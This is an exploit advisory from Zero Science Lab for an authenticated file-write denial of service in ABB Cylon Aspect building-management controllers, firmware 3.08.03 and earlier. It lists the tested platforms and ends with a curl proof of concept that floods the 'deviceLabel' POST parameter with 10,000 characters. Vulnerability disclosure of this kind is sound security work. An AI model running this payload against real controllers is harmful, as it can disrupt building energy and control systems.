ABB Cylon Aspect 3.08.03 (webServerDeviceLabelUpdate.php) - File Write DoS

# Exploit title: ABB Cylon Aspect 3.08.03 (webServerDeviceLabelUpdate.php) File Write DoS
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb
# Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.08.03

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The ABB Cylon Aspect BMS/BAS controller suffers from an authenticated
arbitrary content injection vulnerability in the webServerDeviceLabelUpdate.php
script due to a lack of input validation. Authenticated attackers can exploit
the 'deviceLabel' POST parameter to write arbitrary content to a fixed file
location at /usr/local/aam/etc/deviceLabel, potentially causing a denial of
service.

Tested on: GNU/Linux 3.15.10 (armv7l)
           GNU/Linux 3.10.0 (x86_64)
           GNU/Linux 2.6.32 (x86_64)
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
           PHP/7.3.11
           PHP/5.6.30
           PHP/5.4.16
           PHP/4.4.8
           PHP/5.3.3
           AspectFT Automation Application Server
           lighttpd/1.4.32
           lighttpd/1.4.18
           Apache/2.2.15 (CentOS)
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
           ErgoTech MIX Deployment Server 2.0.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5892
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5892.php


21.04.2024

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$ cat project

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$ curl http://192.168.73.31/webServerDeviceLabelUpdate.php \
> -H "Cookie: PHPSESSID=xxx" \
> -d "deviceLabel=`printf '%.0sA' {1..10000}`"\
> # --data-urlencode "[email protected]"

$ curl http://192.168.73.31/webServerConfiguration.php | grep AAA